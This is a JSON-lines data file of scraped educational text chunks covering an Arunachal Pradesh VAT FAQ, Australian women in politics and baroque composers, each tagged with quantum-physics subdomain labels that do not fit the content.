be paid from the tax collected by you on your sales and not from your pocket. 31. what is the frequency of returns? a. the frequency of returns is quarterly for those dealers with annual turnover less than rs. 5 crore and monthly for those with annual dealers with annual turnover more than rs. 5 crore. however, you can choose to file monthly returns even if your turnover is below rs. 5 crore. 32. by how much time will refunds be paid? a. the refund will be paid within 30 days. in case of a delay, interest will be paid on the refund amount. 33. what is the rate of interest in case of delayed refunds? a. the rate of interest of late payment is 1 percent. this rate is as prescribed for delayed payment for income tax / excise laws. 34. what is the documentation required to be submitted with the return to get refunds? a. normally, proof of exports is required to be submitted with the return to get refunds. 35. which inputs can i claim set - off of? a. any business inputs which is used to produce a taxable output in arunachal is allowed for set - off. however, there is a list of items that if consumed even in business process are not allowed for input tax credit. 36. apart from input credit on raw material would dealers be allowed to claim credit on other costs like labor, overheads? a. vat paid on any business input would be allowed to be set off. since services are not a part of vat as of now, no tax is levied on it and no credit allowed. however, in future, when services will be included, full credit shall be given even for service inputs. 37. i am a manufacturer. goods manufactured by me are both taxable and exempt. how do i do the entries in the purchase book when the inputs are purchased? a. inputs ( raw material as well as finished goods ) that go in exclusively for manufacture of taxable goods are to be put in creditable purchases ( provided other conditions are also met ). similarly, inputs that go in exclusively for manufacture of exempt goods are to be put in non - creditable purchases. however, the inputs that go in partially", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.405926517531772, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.414561"} {"text": "transfers? a. if you stock your goods ( intended for re - exports ) in a bonded warehouse, no entry tax is levied. hence there would be no set - offs either ( which means that you can bring goods in arunachal free of entry tax, store it an approved warehouse and subsequently branch transfer it again, free of tax ). otherwise also, if you purchase locally / pay entry tax on imports and subsequently branch transfer it, you will get input tax credits on branch transfers also. 49. should vat be implemented as long as cst and entry tax are in force? a. vat is a reform of local tax law, independent of cst, vat will make arunachal trade more competitive, irrespective of whether cst rate in assam and other states is reduced or not. entry tax is a part of vat implementation methodology. in fact, vat can \u2019 t work without entry tax. 50. should vat be implemented in all states simultaneously? a. vat is expected to make arunachal trade more competitive vis - a - vis other states and therefore it is not necessary for us to wait for other states to implement the same. 51. are services included in vat? a. services would be included in future. 52. will exemptions continue? a. yes exemptions would continue of few commodities. 53. are there any statutory declaration forms under vat? a. there are no statutory forms under vat. 54. would the product classification under each category be uniform? a. yes, we are trying to classify products using a uniform system of nomenclature. 55. is it possible to use old local sales tax number as new sales tax number for vat? a. yes, it is possible to do the same if your turnover exceeds the threshold value ( rs. 5 lakhs ). 56. will the new registrants have to give surely? a. no, only if you are below the threshold, surety is required. 57. what will be the frequency of filing returns? a. frequency of filing returns would be monthly / quarterly. 58. what is the rate of interest on late payment? a. the rate of interest of late payment is 2 per cent. this rate is as prescribed for delayed payment for income tax / excise laws. 59. would dealers be allowed to print their own stationery of statutory declaration forms? a. there are no statutory forms under vat system. dealers are allowed to print their own tax invoices. 60", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45765028448348255, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.417788"} {"text": "for income tax / excise laws. 59. would dealers be allowed to print their own stationery of statutory declaration forms? a. there are no statutory forms under vat system. dealers are allowed to print their own tax invoices. 60. how will management of accounts be easier? a. since all sales would be taxable and all purchases be tax paid, the classification / bifurcation of various kinds of taxable / non taxable sales need not be maintained. 61. what is an invoice? a. invoices are crucial documents for administering vat because they record each supply of goods, whether taxable exempt. they are to be issued by all registered dealers for each of their sales. an invoice establishes both the tax liability of the supplier and the deduction ( credit ) to the registered purchaser. there are two kinds of invoices that can be issued under vat i. e. tax invoice & retail invoice. 62. what kinds of invoices are required for vat? why is the name and address of the printer mandatory? a. tax and retail invoices for a registered dealer / consumer sale respectively is a normal vat practice. name and address of the printer is not mandatory. 63. what is a tax invoice and when can i issue it? a. if you are making a local sale to another registered dealer of arunachal, a tax invoice can be issued. specially, tax invoice should always mention : \u00b7 identity of the seller ( with pre - printed registration number, name & address ). \u00b7 identity of buyer ( with name & address ) ; and \u00b7 amount charged with the amount of tax charged in the transaction indicated separately. the purchaser, on the strength of the tax invoice, can claim the benefit of input tax credit of the vat paid on his purchases. ( provided his purchases are such that credit of the tax paid on them is allowable ) 64. what is a retail invoice and when can i issue it? a. in retail sales, which are much more numerous and of smaller amounts, simplified sale invoices or retail invoices can be issued. although retail invoice should always identify the seller, indication of buyer \u2019 s name is optional and tax charged can be included in the sale price. no tax credit can be availed by the purchaser on the strength of a retail invoice. 65. what kinds of books of accounts are required to", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4091854450398994, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.418734"} {"text": "of buyer \u2019 s name is optional and tax charged can be included in the sale price. no tax credit can be availed by the purchaser on the strength of a retail invoice. 65. what kinds of books of accounts are required to be maintained under vat? a. the vat book - keeping is very simple and can be kept even by enterprises that do not maintain full books of accounts or do not use double entry accounting. taxpayers are essentially required to keep two books : \u00b7 purchases book ; and \u00b7 sales book. these books are a record purchases and sales respectively and are specifically designed for easy calculation of vat. simplicity of record keeping is the major objective in designing of these books. 66. describe the format of the purchase book. a. the purchase book is a record required to be maintained buy all registered dealers. if should be used to log those purchases against which credit is allowed and those against which credit is not allowed, separately. 67. on which purchases can i not take credit? a. credit is not allowable for any purchase used for consumption or producing non - taxable output. further, purchase of fuel for consumption, food, liquor etc. is also eligible for credit. 68. on which purchases can i take credit? a. you can take credit on all business inputs that are used to produce taxable output. 69. describe the format of the sales book. a. the sales book is a record to be maintained by all registered dealers, and is used to record the total volume of sale, and to distinguish between export, exempt, inter - state and taxable sale. 70. in case of original tax invoice being lost will credit be allowed on personal surety and not on duplicate invoices? a. no, this is normal vat practice. 71. how will the scrutiny be targeted? a. scrutiny would be targeted by using computerized selection. 72. will there be a compulsory scrutiny for returns filed late? a. no. continuous default in returns will lead to increased possibility of scrutiny. 73. will some of the self - assessed returns be scrutinized? a. yes a small percentage will be selected for audit assessment. 74. would assessment be conducted at the business premise of the dealers? a. yes, this is normal vat practice. 75. is there a provision for revision of assessment order in the arunachal goods tax bill? a. appeal provision is available. there is no need for a parallel alternate forum. 76. with the introduction of entry", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.440808666107246, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.419705"} {"text": "this is normal vat practice. 75. is there a provision for revision of assessment order in the arunachal goods tax bill? a. appeal provision is available. there is no need for a parallel alternate forum. 76. with the introduction of entry tax, would transporters be also required to register for vat? a. the liability of entry tax is on importer. if the importer is a businessman, he gets full credit of the entry tax paid. transporters will have option to obtain an approval certificate from the tax department. 77. what will be the responsibility of the transporter? a. if you are an approved transporter, then before handing delivery you must ensure that the importer has fulfilled liability of entry tax. if you are not an approved transporter, then before entering arunachal, you have to ensure that the importer has fulfilled liability of entry tax. 78. what happens if i do not do this? a. you will be liable for penalty. 79. are railways and airlines also covered under the system? 80. are transporters required to file any returns? 81. will there be any assessment / audit of the transporters? a. yes, transporters, railways, airlines can be assessed / audited for levy of penalty, if any. 82. is input tax credit available to unregistered declares also? a. for dealers below the threshold and unregistered, there is no out put tax liability nor any input tax credits. however, if you cross the threshold, you are liable for output taxes, and can avail input tax credits. if you choose not to register ( even after the crossing the threshold ), you are liable for penalty and you don \u2019 t get any refunds. 83. can a registered dealer claim credits for a purchase from an unregistered dealer? a. no, you cannot claim credits for purchase from an unregistered dealer. however, there is a special \u201c deemed credit \u201d system for purchases of \u201c second hand \u201d goods from unregistered dealers, if you are in the business of sale / purchase of \u201c second hand \u201d goods.", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.4063221796439379, "token_count": 433, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.420498"} {"text": "australian women in politics carol porter, get elected, 1997, silkscreen print. courtesy of the state library of victoria : pi001700. in 1902 australia ' s new commonwealth parliament paved the way for a new form of democracy by granting women the vote and the right to be elected on a national basis. leading the world in rights and yet, the longest lag time for election edith cowan, mla. courtesy of a vote of her own while new zealand had granted women the right to vote in 1893, in 1902, australia granted women the right to vote and also to seek election. this reflected the rights of women to vote and seek election in south australia and to vote in western australia, rights granted in 1895 and 1899 respectively. a leading suffragette, edith cowan, was the first woman to be elected to an australian parliament when she won a seat in the western australian legislative assembly in 1921. the victory was indeed groundbreaking, but the next hurdle proved even more difficult as it took nearly 22 years for a woman to enter federal parliament. ironically, this ' time lag ' was the longest of any western country. the first nominations in 1903, for the first time in the british empire, australian women were candidates for election to a national parliament. in all, four women were nominated - three for the senate and one for the house of representatives. unknown photographer, portrait of vida goldstein, 190 -, photograph : gelatin silver. image courtesy of the national library of australia : nla. pic - an23371660 vida goldstein - an electoral pioneer vida goldstein ran for the senate on three occasions \u2014 in 1903, 1910 and 1917. she was also a house of representatives candidate in 1913 and 1914. however, she was never successful in her bids for election. apart from ' breaking the ice ' by running as a candidate, she was also a vocal campaigner for issues such as equal pay for equal work, the recognition of a basic wage, the abolition of child labour and equal property rights for spouses. a true activist, goldstein saw her nominations for parliament as an opportunity to express her views to a wider audience : i accepted nomination because i saw what a splendid educational value the campaign would have. i knew i would attract much larger audiences as a candidate than if i were advertised to give a lecture on women ' s part in the federal elections, or some such subject. the power of the women ' s vote - western australia between 1910 and 1920 the power of the women ' s vote began to have an increasingly noticeable effect on the law and on", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.37776833597959447, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.435607"} {"text": "on women ' s part in the federal elections, or some such subject. the power of the women ' s vote - western australia between 1910 and 1920 the power of the women ' s vote began to have an increasingly noticeable effect on the law and on society. divorce laws were made more equitable, king edward memorial hospital was established as a women ' s hospital, women justices were appointed to the children ' s court, and barmaids and female musicians were granted equal pay with men. edith cowan, 1921 \u2013 1925 and may holman, 1925 \u2013 1939 edith cowan - a pioneer for women ' s and children ' s rights at the turn of the century - became the first woman to enter any australian parliament when she was elected to the western australian legislative assembly in 1921. edith cowan was a suffragette and social activist. despite demeaning stereotyping, edith cowan was a forceful parliamentarian. she introduced and saw enacted the women ' s legal status act, which enabled women to practice law. this was a major milestone in the achievement of women ' s rights. the edith cowan university in perth was named after her. may holman, mla. courtesy of a vote of her own the next woman elected in western australia was may holman ( 1893 \u2013 1939 ), first elected in 1925 and the first female labour parliamentarian in the world. may had grown up with a mother who was active in labor women ' s organisations and a father who was a labor member of the legislative assembly in 1901 \u2013 21 and 1923 \u2013 25. from 1918 she assisted her father at the timber workers ' union, spending nine months in the victorian arbitration court. after his death in 1925, may was briefly acting secretary of the union and won pre - selection for his blue - ribbon seat of forrest, a predominantly timber electorate. the timber industries regulation act, 1926, was largely her work. holman was to occupy the seat of forrest for the next fourteen years, at a time when western australia was at the forefront of the australian women ' s movement. at her instigation, in 1938, a royal commission to inquire into sanitation, slum clearance and health and housing regulations in perth was set up. florence cardell - oliver, 1936 \u2013 1956 florence cardell - oliver, mla. courtesy of a vote of her own florence cardell - oliver ( 1876 \u2013 1965 ), president of the western australian nationalist women ' s movement, won the state seat of subiaco in 1936, which she was to hold for 20 years. cardell - oliver", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4114961016964308, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.436662"} {"text": "vote of her own florence cardell - oliver ( 1876 \u2013 1965 ), president of the western australian nationalist women ' s movement, won the state seat of subiaco in 1936, which she was to hold for 20 years. cardell - oliver was especially concerned about the health of children from low income families. cardell - oliver was the first woman in australia to attain full cabinet rank when she became minister for health in october 1949. her efforts created the school milk scheme, which ensured that generations of children received a daily quota of free milk. ' woman ' s skirts rustle on the sacred benches ', 1925 - new south wales millicent preston - stanley ( nsw, 1925 ) was elected to the nsw legislative assembly as a nationalist party candidate for the eastern suburbs electorate. preston - stanley was a realist with regard to the immediate impact she would have : i ' m not fool enough to suppose my going into the house is going to make any sweeping alteration. the heavens won ' t fall because a woman ' s skirts rustle on the sacred benches, so long the sacrosanct seats of the lords of creation. e. f. smith, millicent preston - stanley : a feminist in politics, ba ( hons ) thesis, the university of sydney, 1977 hon linda burney, mla. courtesy of a vote of her own since preston - stanley, over eighty women have been elected to parliament, with nearly forty of them doing so now. overall, more than 700 women have stood for parliament in nsw. some of them were ' first in their field '. helen sham - ho, ( mlc 1988 \u2013 2003 ) was the first chinese - born parliamentarian in australia. janice crosio, who served on the executive of all three levels of government, was the first woman new south wales government cabinet member. in 2003, linda burney became the first aboriginal person elected to the nsw parliament when she won the seat of canterbury. putting skirts on the sacred benches irene longman, 1929, queensland and the long dry until 1966 women inside the gate of the city polling station, voting for the first time in a queensland state election, may 1907 [ suffragette movement in queensland ]. courtesy of oxley library. queensland did not enfranchise women until 1905. however, it was the second state to allow the right for women to sit in parliament, in 1915. irene longman was the first to stand as a candidate, endorsed by the country \u2013 national party and the queensland women ' s electoral league. long", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.38128754765565276, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.437698"} {"text": "however, it was the second state to allow the right for women to sit in parliament, in 1915. irene longman was the first to stand as a candidate, endorsed by the country \u2013 national party and the queensland women ' s electoral league. longman was responsible for women being admitted to the queensland police force, something originally proposed by the suffragists in the nineteenth century. it was not until 1966 that a second woman, vi jordan, entered parliament \u2014 and she managed to get a women ' s toilet in the house. annabelle rankin was queensland ' s first female federal member when elected to the senate in 1947, and the first queensland woman in the house of representatives was elaine darling in 1980. when kathy martin ( sullivan ) was elected to the senate in 1974 she was the only queensland woman in federal parliament. flo bjelke - petersen and margaret reynolds were both elected to the senate in the 1980s. lady millicent peacock, 1933, and doris blackburn, 1946 - victoria doris blackburn. courtesy of the national library of australia : nla. pic - an23193553. women in victoria had to wait until 1908 before they were granted suffrage in victorian state elections and until 1923 before they were eligible to stand for the victorian parliament. lady millicent peacock ( 1870 \u2013 1948 ) became the first female member of the parliament of victoria at a by - election for the legislative assembly seat of allandale, caused by the death of the sitting member, her husband. it was not until 1946 that victorian women entered federal parliament. doris blackburn ( 1889 \u2013 1970 ) was elected as the independent member for bourke, her late husband ' s seat, although she had been campaign secretary for vida goldstein in the 1913 federal election. blackburn was involved in the free kindergarten movement and campaigns for better education, playgrounds and creches. in 1957, with doug nicholls, she was a co - founder of the aborigines advancement league and the federal council for aboriginal advancement. margaret mcintyre, 1948, tasmania margaret edgeworth mcintyre ( 1886 - 1948 ) was a member of the national council of women of tasmania, a commissioner ( 1940 - 48 ) of the girl guides ' association and established the g. v. brooks community school in 1948 before being appointed o. b. e. that year. in the same year, she stood as an independent to win the division of cornwall in the tasmanian legislative council : she was the first woman to be elected to the parliament. ' less than four months after her parliamentary career began, she was killed", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3720506943461144, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.438684"} {"text": "payments for mothers and equal training allowances for women and men. she was made dame enid by the king in 1943 and dame enid of australia in 1980. post world war ii - first women political leaders, ministers, premiers and prime minister over the past 30 years women have increased their representation in australia ' s parliaments. while there has been a great deal of rhetoric from our political parties about the pre - selection of women candidates and issues such as ' quotas ', their representation in both federal and state politics is still disproportionately low. nevertheless, there have been some notable figures in the state and federal arenas. susan ryan, 1984, minister for education terry milligan, susan ryan. courtesy of terry milligan and the national library of australia : nla. pic - an20549079. dame margaret guilfoyle was the first australian woman to be appointed to a cabinet portfolio when, in 1976, she became minister for social security in the fraser government. she served in the governments of malcolm fraser between 1975 and 1983, as minister, successively, for education, social security, and finance. on 31 december 1979 margaret guilfoyle was appointed to the order of the british empire ( dames commander ) for her services to public and parliamentary service. susan ryan ( 1942 \u2013 ) was appointed the first labor senator for the australian capital territory, 1975. in the federal parliament she was the minister assisting the prime minister bob hawke on the status of women 1983 \u2013 88 and the minister for education, 1984 \u2013 87. she presided over the passage of the federal government ' s sex discrimination act 1984 and the affirmative action ( equal opportunities in employment ) act 1986. janine haines, 1986, south australia, leader of the australian democrats in 1986, janine haines became the first woman to lead an australian political party when she was elected leader of the australian democrats. under her leadership the democrats held the balance of power in the senate. she significantly increased democrat support, with the senate vote rising to 12. 6 per cent in 1990. since haines, the democrats have had other female parliamentary leaders - janet powell, cheryl kernot, meg lees, natasha stott despoja and lyn allison. joan kirner, 1990, deputy premier of victoria joan kirner served as deputy premier of victoria for a year in 1989 before serving as premier for two years to 1992. following the labor party ' s defeat in 1992 she became leader of the opposition. she resigned from parliament in 1994. she said", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3936394320383705, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.440706"} {"text": "victoria joan kirner served as deputy premier of victoria for a year in 1989 before serving as premier for two years to 1992. following the labor party ' s defeat in 1992 she became leader of the opposition. she resigned from parliament in 1994. she said of her time in the ' top job ' : my being premier, whatever people thought of my government, showed that a woman, a feminist, can be premier and win the respect of business, unions and the community. carmen lawrence, 1990, premier of western australia hon carmen lawrence mla. courtesy of carmen lawrence in a leadership change on 12 february 1990, dr carmen lawrence made history by becoming premier of western australia and australia ' s first woman premier. following labor ' s narrow defeat at the 1993 state election, dr lawrence also became western australia ' s first woman opposition leader and held the positions of shadow treasurer and shadow minister for employment and federal affairs. dr lawrence entered federal politics by winning the federal seat of fremantle in a by - election on 12 march 1994. she was appointed minister for human services and health, and minister assisting the prime minister for the status of women in march 1994. amanda vanstone, 1996, minister for employment, education, training and youth affairs... senator amanda vanstone had a diverse range of portfolios. after the national 1996 election, senator vanstone served as the federal minister for employment, education, training and youth affairs, and in october 1997 became the minister for justice. following the 1998 election she was sworn in as the minister for justice and customs. from january 2001 until october 2003 she served as minister for family and community services, and minister assisting the prime minister for the status of women. anna bligh, 2007, premier of queensland hon anna bligh mla. courtesy of australian broadcasting corporation anna bligh ( 1960 \u2013 ) was elected to parliament in 1995 with a bachelor of arts and in 1998 became the minister for families, youth and community care and disability services. she was promoted to deputy premier in 2005 and then in 2007, with peter beattie ' s retirement, anna became the first female premier of queensland. a local newspaper has also managed to trace anna ' s family back to captain bligh. marion scrymgour, deputy chief minister of the northern territory hon marion scrymgour. courtesy of australian broadcasting corporation marion scrymgour was the first female aboriginal minister in any government in the history of australia. marion was born in darwin in 1960 and raised on the tiwi islands. marion was the member for arafura from", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.36536632961979765, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.441662"} {"text": ". courtesy of australian broadcasting corporation marion scrymgour was the first female aboriginal minister in any government in the history of australia. marion was born in darwin in 1960 and raised on the tiwi islands. marion was the member for arafura from 2001 to 2012 and a minister between 2002 and 2009. she has held the roles of deputy chief minister, minister for employment, education and training, minister for family and community services, minister for child protection, minister for indigenous policy, minister for arts and museums and minister for women ' s policy. in 2009, she resigned from cabinet and as deputy chief minister, citing health reasons. julia gillard, 2010, australia ' s first female prime minister julia gillard was born in barry, wales in 1961. her family migrated to australia in 1966 and she grew up in adelaide. ms gillard was elected as the federal representative for lalor as a member of the australian labor party in 1998 and continues to represent the electorate of lalor. following the australian labor party ' s victory at the 2007 federal election, ms gillard was sworn in as deputy prime minister and minister for education, employment and workplace relations and social inclusion. on 24 june 2010 she was sworn in as the 27th prime minister of australia, making her australia \u2019 s first female prime minister. she was re - sworn in as prime minister on 14 september 2010 following the 2010 federal election. early suffragettes and politicians - edith cowan - reserve bank of australia - vida goldstein - australian womem ' s register - vida goldstein - australian dictionary of biography - vida goldstein - forging the nation, australian war memorial - dorothy margaret tangney - australian womem ' s register - senator dorothy tangney - dame enid lyons - enid lyons - national archives of australia - dame enid lyons ( pdf, 208kb ) - national archives of australia - enid lyons - australian women ' s history forum - dame margaret guilfoyle - australian womem ' s register - dr carmen lawrence - member for fremantle 1994 - 2007 online collections of women in politics - a vote of her own - the constitutional centre of western australia - representative women : victorian women parliamentarians since 1923 - carrying on the fight : women candidates in victorian parliamentary elections - putting skirts on the sacred benches : women candidates for the new south wales parliament - women and politics in south australia - state library of south australia - women ' s right to sit in parliament - university of queensland - women in the senate - parliament of australia - women in political arena - australian electoral commission look,", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.3799082522258349, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.442633"} {"text": "claudio monteverdi ( 1567 \u2013 1643 ) : a student of marc \u2019 antonio ingegneri in cremona, claudio monteverdi quickly established himself as one of the most significant composers of his time. in 1592 he was appointed suonatore di vivuola ( viol and / or violin player ) to duke vincenzo i of mantua ; his third book of madrigals, published in 1592, shows the strong influence of giaches de wert, the maestro di cappella in mantua. although the several journeys monteverdi made with the duke in the 1590s seem to suggest that his importance at court was growing, benedetto pallavicino was offered de wert \u2019 s post upon its vacancy in 1596. increasingly dissatisfied with the his situation in mantua, monteverdi left the court after the duke \u2019 s death, accepting the position of maestro di cappella of st. mark \u2019 s in venice in 1613. monteverdi wrote some of the most influential compositions of the early baroque, including the famous 1610 vespro della beate vergine ( vespers of the blessed virgin ) and nine books of secular madrigals published between 1587 and 1651. monteverdi also composed the earliest operas still performed today, including orfeo ( 1607 ) and l ' incoronazione di poppea. in addition to writing some of the most important music of his day, monteverdi unwittingly elucidated perhaps the most critical tenet of the baroque era during the so - called \u201c monteverdi - artusi controversy. \u201d in 1600, giovanni maria artusi published his l ' artusi, ovvero, delle imperfezioni della moderna musica, which attacked the \u201c crudities \u201d and \u201c license \u201d of some of monteverdi \u2019 s then - unpublished madrigals ( including the well known \u201c cruda amarilli \u201d ). monteverdi responded to artusi in the preface to his fifth book of madrigals ( 1605 ), dividing musical practice into prima prattica ( first practice ), in which rules of harmony and counterpoint took precedence over the text, and seconda prattica ( second practice ), in which the meaning of the words drove the harmony. girolamo frescobaldi ( 1583 \u2013 1643 ) : born in ferrara, girolamo frescobaldi was a student of the organist and madrigalist luzzasco", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.40778701880491497, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.469279"} {"text": "second practice ), in which the meaning of the words drove the harmony. girolamo frescobaldi ( 1583 \u2013 1643 ) : born in ferrara, girolamo frescobaldi was a student of the organist and madrigalist luzzasco luzzaschi ; he was also likely influenced by the maverick composer carlo gesualdo, who was also in ferrara at the time. frescobaldi was a famous keyboardist, and served as the organist at the church of santa maria in trastevere in rome before assuming the same post at st peter ' s in 1608, which he held until his death. during this time he also held several other influential positions, including that of organist at the medici court in florence from 1628 to 1634. frescobaldi composed a small amount of vocal music, but it was his compositions for the keyboard \u2014 which included a number of toccatas, canzonas, ricercars and capriccios \u2014 that influenced composers well into the 18th century \u2014 particularly j. s. bach, who owned his collection of organ works for performance during mass entitled fiori musicali ( 1635 ). arcangelo corelli ( 1653 \u2013 1713 ) : born in fusignano, arcangelo corelli studied composition and violin in nearby bologna. after 1675 corelli worked for some of the most important musical patrons in rome, including queen christina of sweden, for whom he directed concerts. he also formed a close bond not typical between patron and composer with cardinal pietro ottoboni ( later pope alexander viii ), at whose palace he lived for some time. corelli enjoyed a stellar reputation both in rome, where he was accepted in the highest aristocratic circles, and in much of europe. his six published collections of concertos, sonatas and other works for violin were extremely popular, and made him the first composer to gain an international reputation solely on the basis of his instrumental music. because his music uses many of the harmonic progressions that came to form the basis of modern tonality, his works are sometimes used as early examples of this newly emergent tonal system. along with his stature as a composer, corelli was considered to be one of the preeminent violin virtuosos of his day. as one of his contemporaries rhapsodized after hearing him play, \u201c i never met with any man that suffered his passions to hurry him away so much whilst he was playing on the violin as the famous arcangelo corelli, whose eyes will sometimes turn as red as fire ; his count", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5358910722667853, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.470273"} {"text": "after hearing him play, \u201c i never met with any man that suffered his passions to hurry him away so much whilst he was playing on the violin as the famous arcangelo corelli, whose eyes will sometimes turn as red as fire ; his countenance will be distorted, his eyeballs roll as in an agony, and he gives in so much to what he is doing that he doth not look like the same man. \u201d corelli \u2019 s style of playing influenced violin technique for centuries, and he instructed many of the leading violinist - composers of the 18th century, including the italian francesco geminiani. antonio vivaldi ( 1678 \u2013 1741 ) : born in venice, antonio vivaldi was trained in music as a child, but was ordained as a priest in 1703. although his vocation and striking red hair earned him the moniker \u201c il prete rosso \u201d ( the red priest ), his picturesque nickname soon became the only vestige of his priestly duties. within a year of his ordination, vivaldi stated that he no longer wished to celebrate the mass because of \u201c tightness of the chest, \u201d a condition some have attributed to angina pectoris, asthmatic bronchitis \u2014 or simply to the fact that music was the red priest \u2019 s true calling. around 1704, vivaldi began his association with the ospedale della pieta, an institution with which he was connected for most of his life. although the ospedale was usually called an orphanage, it was in reality a home for the illegitimate daughters of venetian noblemen, and was well financed by its \u201c anonymous \u201d benefactors. in addition to room, board, and an excellent education in music, the pieta offered a creative outlet for women at a time when professional opportunities for female musicians were uncertain. the students of the pieta played many different instruments ( as one eighteenth - century writer observed, \u201c [ they ] play the violin, the recorder, the organ, the oboe, the cello, the bassoon ; in fact, there is no instrument large enough to frighten them \u201d ) and were considered to be among the most accomplished performers of their time. because they were constantly in need of new music, the bulk of vivaldi \u2019 s output \u2014 including almost 500 concertos, 46 sinfonias, 73 sonatas, chamber music and a small number of sacred compositions \u2013 was likely intended for these talented performers. alessandro scarlatti ( 1660 \u2013 1725 ) : a student of giacomo carissimi in rome", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4292433165398596, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.471286"} {"text": "concertos, 46 sinfonias, 73 sonatas, chamber music and a small number of sacred compositions \u2013 was likely intended for these talented performers. alessandro scarlatti ( 1660 \u2013 1725 ) : a student of giacomo carissimi in rome, alessandro scarlatti became the maestro di cappella of the viceroy of naples in 1684 perhaps by way of his sister, an opera singer and the mistress of an influential neapolitan noble. scarlatti wrote over 100 operas, and his works are thought to represent the change in approach to the genre \u2014 including the standardization of forms, embellishment of arias and minimization of recitatives \u2014 that took place at the end of the 17th century, ultimately leading to the subgenre opera seria. in addition to opera, scarlatti composed more than 600 cantatas and a number of oratorios. his fame today rests primarily on his vocal music, but scarlatti received frequent commissions for instrumental music during his career as well. domenico scarlatti ( 1685 \u2013 1757 ) : the sixth son of alessandro scarlatti, domenico scarlatti likely received the best musical education naples had to offer. around 1708, the elder scarlatti took his son to venice to study with francesco gasparini ( 1668 \u2013 1727 ), who had been a pupil of corelli. from venice the younger scarlatti journeyed to rome \u2014 reportedly with handel \u2014 where the two men performed before cardinal pietro ottoboni. about 1720 scarlatti moved to lisbon, and some ten years later to madrid. he is known today primarily for his keyboard sonatas, in which his frequent borrowings from hispanic folk tunes and rhythms create a unique sound that is sometimes called \u201c iberian baroque. \u201d giovanni battista pergolesi ( 1710 \u2013 1736 ) : born in jesi in 1710, pergolesi studied under francesco sartini. he moved to naples in 1725, where he spent his brief career working in the neapolitan courts. while in naples, pergolesi joined alessandro scarlatti in pioneering the changes underway in the genre of opera, particularly in the new opera buffa ( comic opera ). in 1733, he included within his opera il prigioner superbo the two act buffa intermezzo la serva padrona ( the landlady servant ), which immediately became popular in its own right. its premiere in paris in 1752 sparked the so - called querelle des bouffons ( quarrel of the comedians ),", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.39878482788702374, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.472247"} {"text": "cantatas and sonatas, and his interest in the juxtaposition of french and italian styles continued throughout his lifetime. his publications in his final decade offer striking illustrations of this preoccupation, including the concert instrumental a la memoire de monsieur de lully ( 1725 ) in which lully and corelli are received by apollo on mount parnassus and together compose \u201c la paix du parnasse \u201d in the form of a trio sonata. an even more direct fusing of the two styles occurs in les nations ( 1726 ) and in his suites for bass viols ( 1728 ), of which the first is a french ordre and the second an italian sonata da chiesa. couperin remained somewhat controversial for much of his career. while some critics dismissed him as a \u201c dedicated servant of italy, \u201d others viewed the quality of his playing and compositions as the epitome of the french classical tradition. jean - baptiste lully ( 1632 \u2013 1687 ) : one of the most dominant figures of the french baroque, giovanni battista lulli ( later jean - baptiste lully ) was actually an italian of noble birth who arrived in paris in 1646. in 1653, he began work at the court of louis xiv as an instrumental composer and dancer. upon securing the position of superintendent of music in 1661, lully started writing comedies - ballets with the playwright moliere, fusing the tradition of 